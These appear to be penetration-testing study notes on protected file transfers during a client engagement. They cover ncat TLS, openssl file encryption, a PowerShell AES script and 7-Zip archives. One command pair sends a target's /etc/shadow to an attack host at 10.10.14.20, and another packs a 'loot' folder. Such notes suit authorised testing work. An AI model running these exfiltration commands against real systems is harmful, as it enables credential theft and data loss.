~/transfer-protected

Protected Transfers

CPTS Notes2 min read

Files such as NTDS.dit, user lists, and scan output hold client data. Send them over an encrypted connection, or encrypt the file before a plaintext transfer. Use a strong password that is unique to each engagement.

Do not take personal data, payment data, or trade secrets off a client network unless the client asks for it. To test data-loss controls, send a file of dummy data.

Encrypted connections

Method Command Page
SSH scp Linux Transfers
HTTPS upload uploadserver --server-certificate Serving Files
TLS stream openssl s_server and s_client Linux Transfers
TLS stream ncat --ssl Below
WinRM over HTTPS evil-winrm -S WinRM

ncat --ssl makes a temporary certificate when you give it none:

ncat --ssl -lvnp 443 --recv-only > shadow # attack host: catch the file
ncat --ssl 10.10.14.20 443 --send-only < /etc/shadow # target: send the file

Encrypt on Linux

openssl enc -aes256 -pbkdf2 -iter 100000 -in shadow -out shadow.enc # encrypt
openssl enc -d -aes256 -pbkdf2 -iter 100000 -in shadow.enc -out shadow # decrypt
Flag Meaning
-aes256 AES-256 in CBC mode
-pbkdf2 Derives the key from the password with PBKDF2
-iter 100000 PBKDF2 rounds. More rounds slow a brute-force attack
-d Decrypts

openssl asks for the password. Use the same -pbkdf2 and -iter values on both ends.

Encrypt on Windows

Invoke-AESEncryption.ps1 encrypts files and strings with AES-256. Transfer it to the target, then import it:

Import-Module .\Invoke-AESEncryption.ps1 # load the function
Invoke-AESEncryption -Mode Encrypt -Key '<password>' -Path .\scan-results.txt # write scan-results.txt.aes beside the original
Invoke-AESEncryption -Mode Decrypt -Key '<password>' -Path .\scan-results.txt.aes # write scan-results.txt back

Decrypt with the same script on your attack host, in PowerShell 7 (pwsh).

A password-protected archive also works on a host with 7-Zip:

REM encrypted archive of the loot folder
"C:\Program Files\7-Zip\7z.exe" a -p<password> -mhe=on loot.7z C:\Users\Public\loot

-p sets the password. -mhe=on also encrypts the file names.